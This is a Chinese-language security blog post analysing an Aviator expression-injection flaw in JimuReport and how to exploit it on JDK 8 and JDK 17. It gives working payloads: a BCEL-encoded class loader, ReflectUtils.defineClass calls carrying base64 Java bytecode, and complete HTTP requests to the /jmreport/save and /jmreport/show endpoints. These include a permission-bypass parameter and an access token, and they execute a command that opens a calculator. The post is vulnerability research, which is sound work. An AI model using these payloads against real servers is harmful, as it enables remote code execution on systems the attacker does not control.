结合 Jimureport 的某个漏洞披露看 Aviator 表达式注入
wptr33 2025-01-21 21:57 56 浏览
JDK 高版本的 Aviator 表达式注入
Aviator 表达式注入代码示例见 JavaRce 项目 ,在之前 aviatorscript 的漏洞披露给出了了如下形式的 payload,利用 bcel 来加载字节码
'a'+(c=Class.forName(\"$BCEL$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open -a Calculator.app\") );
提取出其中的 Class.forName() 调试一下代码
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute("Class.forName('java.lang.String')");
通过 com.googlecode.aviator.RuntimeFunctionDelegator#getFunc() 动态调用 Aviator 中定义的方法
而换成全限定类名后,执行 getFunc() 方法会报错 Function not found: java.lang.Class.forName
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute("java.lang.Class.forName('java.lang.String')");
调试到 com.googlecode.aviator.utils.Env#resolveClassSymbol(java.lang.String, boolean) 方法,这个方法主要是用于将类名解析为对应的 Java 类对象。
这里的话有两个值得看的地方:
- 从这个代码的逻辑来看,如果包含 . 则直接调用 classForName(name) 方法来获取类对象,我们构造的是全限定类名,为什么传入的 name 是 java
- 第二个条件逻辑,因为不存在类名时会假设该类隶属于 java.lang 包下,可以解释为什么直接用 Class.forName() 可以执行。
第一个问题定位到 com.googlecode.aviator.runtime.type.AviatorJavaType#getProperty() 方法,因为包含 . 所以被分割为数组,然后在 com.googlecode.aviator.utils.Reflector#fastGetProperty() 方法遍历逐个解析
java.lang 包下的类有限,所以还需要寻求突破。我们看到还有俩逻辑,用于引入包、类。这个解答第二个问题的疑问。
// from imported packages
clazz = resolveFromImportedPackages(name);
if (clazz != null) {
return checkIfClassIsAllowed(checkIfAllow, clazz);
}
// from imported classes
clazz = resolveFromImportedSymbols(name, clazz);
if (clazz != null) {
return checkIfClassIsAllowed(checkIfAllow, clazz);
}
以包名为例,是读取的 this.importedPackages 对象,索性用的比较少,可以很轻易的跟到 com.googlecode.aviator.runtime.function.internal.UseFunction#addSym() 方法。
* 号给了很大的提示,然后就是翻官方文档了,找到引用 Java 类的语法 https://www.yuque.com/boyan-avfmj/aviatorscript/vk0ubs
use java.util.Date;
let d = new Date();
p(type(d));
p(d);
与通过 JavaMethodReflectionFunctionMissing 调用 Java 方法(基于反射)不同,使用 use 只能调用 public static 方法 ,对于 spring 框架可以用 org.springframework.cglib.core.ReflectUtils 来加载字节码,关于这个的利用可以看上一篇分析
Link: JDK 17+ FreeMarker SSTI:从 CVE-2023-4450 复现引出 MethodHandle 句柄、named module 机制研究
所以最终按其语法可得
JDK 8
use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.example.Exec', Base64Utils.decodeFromString('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'), ClassLoader.getSystemClassLoader());
JDK17 ,Aviator 中 null 为 nil
use org.springframework.cglib.core.*;use org.springframework.util.*;use java.security.*;ReflectUtils.defineClass('org.springframework.expression.Test', Base64Utils.decodeFromString('yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY='), ClassLoader.getSystemClassLoader(), nil, Class.forName('org.springframework.expression.ExpressionParser'));
Jimureport sink
漏洞位于 /save 和 /show 这两个接口,两个包间通过 excel_config_id 关联
函数名有点抽象就不慢慢截图了,两个接口对应函数
org.jeecg.modules.jmreport.desreport.service.a.e#saveReport()
org.jeecg.modules.jmreport.desreport.service.a.e#show()
在执行 /show 时,跟进到 org.jeecg.modules.jmreport.desreport.express.a#c() 函数,对于传入的格式有要求。声明了解析的字段为 text,并且内容得通过 =() 包含
至于 /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI= 则是用于 jeeboot 的权限绕过
payload:
POST /jmreport/save HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
{
"loopBlockList": [],
"area": false,
"printElWidth": 718,
"excel_config_id": "53c82a76f837d5661dceec7d93afep",
"printElHeight": 1047,
"rows": {
"4": {
"cells": {
"4": {
"text": "=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('com.ppp.Exec', Base64Utils.decodeFromString('yv66vgAAADQANAoADAAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQIACUIACYHACcHACgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADkxjb20vcHBwL0V4ZWM7AQANU3RhY2tNYXBUYWJsZQcAJwcAJAEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwADQAOBwApDAAqACsBAARFeGVjBwAsDAAtAC4HAC8MADAAMQEABGNhbGMMADIAMwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAtzdGF0aWMgRXhlYwEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHABAAxjb20vcHBwL0V4ZWMBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAsADAAAAAAAAgABAA0ADgABAA8AAAB2AAIAAgAAABoqtwABsgACEgO2AAS4AAUSBrYAB1enAARMsQABAAQAFQAYAAgAAwAQAAAAGgAGAAAABwAEAAkADAAKABUADAAYAAsAGQANABEAAAAMAAEAAAAaABIAEwAAABQAAAAQAAL/ABgAAQcAFQABBwAWAAAIABcADgABAA8AAABbAAIAAQAAABayAAISCbYABLgABRIKtgAHV6cABEuxAAEAAAARABQACAADABAAAAAWAAUAAAARAAgAEgARABQAFAATABUAFQARAAAAAgAAABQAAAAHAAJUBwAWAAABABgAAAACABk='), ClassLoader.getSystemClassLoader());)",
"style": 0
}
},
"height": 25
},
"len": 96,
"-1": {
"cells": {
"-1": {
"text": "${gongsi.id}"
}
},
"isDrag": true
}
},
"dbexps": [],
"toolPrintSizeObj": {
"printType": "A4",
"widthPx": 718,
"heightPx": 1047
},
"dicts": [],
"freeze": "A1",
"dataRectWidth": 701,
"background": false,
"name": "sheet1",
"autofilter": {},
"styles": [
{
"align": "center"
}
],
"validations": [],
"cols": {
"4": {
"width": 95
},
"len": 50
},
"merges": [
"E4:F4",
"B4:B5",
"C4:C5",
"D4:D5",
"G4:G5",
"H4:H5",
"I4:I5",
"D1:G1",
"H3:I3"
]
}
POST /jmreport/show HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MTQ2Mjk0NjEsInVzZXJuYW1lIjoiYWRtaW4ifQ.--r2FRXzk7Nu2_Zrbcdn_0sN3c0zKhKeei2yewFTLx0
Accept: application/json, text/plain, */*
Content-Type: application/json
{
"id": "53c82a76f837d5661dceec7d93afep"
}
jimureport 低版本为什么无法解析
用最新版的 1.7.8 可以复现,而用到 1.6.0 时发现调用的是 com.googlecode.aviator.runtime.function.TraceFunction#call(java.util.Map<java.lang.String,java.lang.Object>, com.googlecode.aviator.runtime.type.AviatorObject, com.googlecode.aviator.runtime.type.AviatorObject) 这个方法,并且在执行 com.googlecode.aviator.runtime.function.TraceFunction#traceArgs() 时报错。
回到 com.googlecode.aviator.ClassExpression#executeDirectly() 方法看看在调用 com.googlecode.aviator.ClassExpression#execute0 前发生了什么。
Avaitor 的底层也用的是 ASM 将表达式转换为可执行的字节码,这里没法步进调试无疑是上了一点难度。不过没关系,将依赖单独取出 payload 可用,直觉告诉我问题出在配置项,于是找了一下代码定位到 com.googlecode.aviator.Options#TRACE_EVAL 这个配置。关于 TRACE_EVAL 的 ASM 逻辑位于 com.googlecode.aviator.code.asm.ASMCodeGenerator#onMethodName
PS. 关于 ASM 的更多操作可以在 com.googlecode.aviator.AviatorEvaluatorInstance#innerCompile() 方法断点,之后可以跟到 com.googlecode.aviator.code.OptimizeCodeGenerator#callASM() 调用 ASM 的解析
验证猜想
先验证下猜想在 com.googlecode.aviator.code.asm.ASMCodeGenerator#onMethodName() 断点修改该配置 this.instance.getOptionValue(Options.TRACE_EVAL).bool = false
除此之外在 com.googlecode.aviator.runtime.type.AviatorJavaType#getValueFromEnv() 解析 Base64Utils.decodeFromString 方法时,RuntimeUtils.getInstance(env).getOptionValue(Options.ENABLE_PROPERTY_SYNTAX_SUGAR).bool 为 flase ,不进入 getProperty 逻辑,也断点修改一下。
构造这俩条件,弹出计算器,验证猜想
- TRACE_EVAL 为 false
- ENABLE_PROPERTY_SYNTAX_SUGAR 为 true
哪里的变动?
然后就是看哪里加的这个配置?com.googlecode.aviator.Options#isValidValue() 对 TRACE_EVAL 赋值为 true
最终问题出在 org.jeecg.modules.jmreport.desreport.express.ExpressUtil 的 static 方法块中,低版本中将该值设为 true
高版本为 false
相关推荐
- oracle数据导入导出_oracle数据导入导出工具
-
关于oracle的数据导入导出,这个功能的使用场景,一般是换服务环境,把原先的oracle数据导入到另外一台oracle数据库,或者导出备份使用。只不过oracle的导入导出命令不好记忆,稍稍有点复杂...
- 继续学习Python中的while true/break语句
-
上次讲到if语句的用法,大家在微信公众号问了小编很多问题,那么小编在这几种解决一下,1.else和elif是子模块,不能单独使用2.一个if语句中可以包括很多个elif语句,但结尾只能有一个...
- python continue和break的区别_python中break语句和continue语句的区别
-
python中循环语句经常会使用continue和break,那么这2者的区别是?continue是跳出本次循环,进行下一次循环;break是跳出整个循环;例如:...
- 简单学Python——关键字6——break和continue
-
Python退出循环,有break语句和continue语句两种实现方式。break语句和continue语句的区别:break语句作用是终止循环。continue语句作用是跳出本轮循环,继续下一次循...
- 2-1,0基础学Python之 break退出循环、 continue继续循环 多重循
-
用for循环或者while循环时,如果要在循环体内直接退出循环,可以使用break语句。比如计算1至100的整数和,我们用while来实现:sum=0x=1whileTrue...
- Python 中 break 和 continue 傻傻分不清
-
大家好啊,我是大田。...
- python中的流程控制语句:continue、break 和 return使用方法
-
Python中,continue、break和return是控制流程的关键语句,用于在循环或函数中提前退出或跳过某些操作。它们的用途和区别如下:1.continue(跳过当前循环的剩余部分,进...
- L017:continue和break - 教程文案
-
continue和break在Python中,continue和break是用于控制循环(如for和while)执行流程的关键字,它们的作用如下:1.continue:跳过当前迭代,...
- 作为前端开发者,你都经历过怎样的面试?
-
已经裸辞1个月了,最近开始投简历找工作,遇到各种各样的面试,今天分享一下。其实在职的时候也做过面试官,面试官时,感觉自己问的问题很难区分候选人的能力,最好的办法就是看看候选人的github上的代码仓库...
- 面试被问 const 是否不可变?这样回答才显功底
-
作为前端开发者,我在学习ES6特性时,总被const的"善变"搞得一头雾水——为什么用const声明的数组还能push元素?为什么基本类型赋值就会报错?直到翻遍MDN文档、对着内存图反...
- 2023金九银十必看前端面试题!2w字精品!
-
导文2023金九银十必看前端面试题!金九银十黄金期来了想要跳槽的小伙伴快来看啊CSS1.请解释CSS的盒模型是什么,并描述其组成部分。...
- 前端面试总结_前端面试题整理
-
记得当时大二的时候,看到实验室的学长学姐忙于各种春招,有些收获了大厂offer,有些还在苦苦面试,其实那时候的心里还蛮忐忑的,不知道自己大三的时候会是什么样的一个水平,所以从19年的寒假放完,大二下学...
- 由浅入深,66条JavaScript面试知识点(七)
-
作者:JakeZhang转发链接:https://juejin.im/post/5ef8377f6fb9a07e693a6061目录...
- 2024前端面试真题之—VUE篇_前端面试题vue2020及答案
-
添加图片注释,不超过140字(可选)...
- 今年最常见的前端面试题,你会做几道?
-
在面试或招聘前端开发人员时,期望、现实和需求之间总是存在着巨大差距。面试其实是一个交流想法的地方,挑战人们的思考方式,并客观地分析给定的问题。可以通过面试了解人们如何做出决策,了解一个人对技术和解决问...
- 一周热门
- 最近发表
-
- oracle数据导入导出_oracle数据导入导出工具
- 继续学习Python中的while true/break语句
- python continue和break的区别_python中break语句和continue语句的区别
- 简单学Python——关键字6——break和continue
- 2-1,0基础学Python之 break退出循环、 continue继续循环 多重循
- Python 中 break 和 continue 傻傻分不清
- python中的流程控制语句:continue、break 和 return使用方法
- L017:continue和break - 教程文案
- 作为前端开发者,你都经历过怎样的面试?
- 面试被问 const 是否不可变?这样回答才显功底
- 标签列表
-
- git pull (33)
- git fetch (35)
- mysql insert (35)
- mysql distinct (37)
- concat_ws (36)
- java continue (36)
- jenkins官网 (37)
- mysql 子查询 (37)
- python元组 (33)
- mybatis 分页 (35)
- vba split (37)
- redis watch (34)
- python list sort (37)
- nvarchar2 (34)
- mysql not null (36)
- hmset (35)
- python telnet (35)
- python readlines() 方法 (36)
- munmap (35)
- docker network create (35)
- redis 集合 (37)
- python sftp (37)
- setpriority (34)
- c语言 switch (34)
- git commit (34)
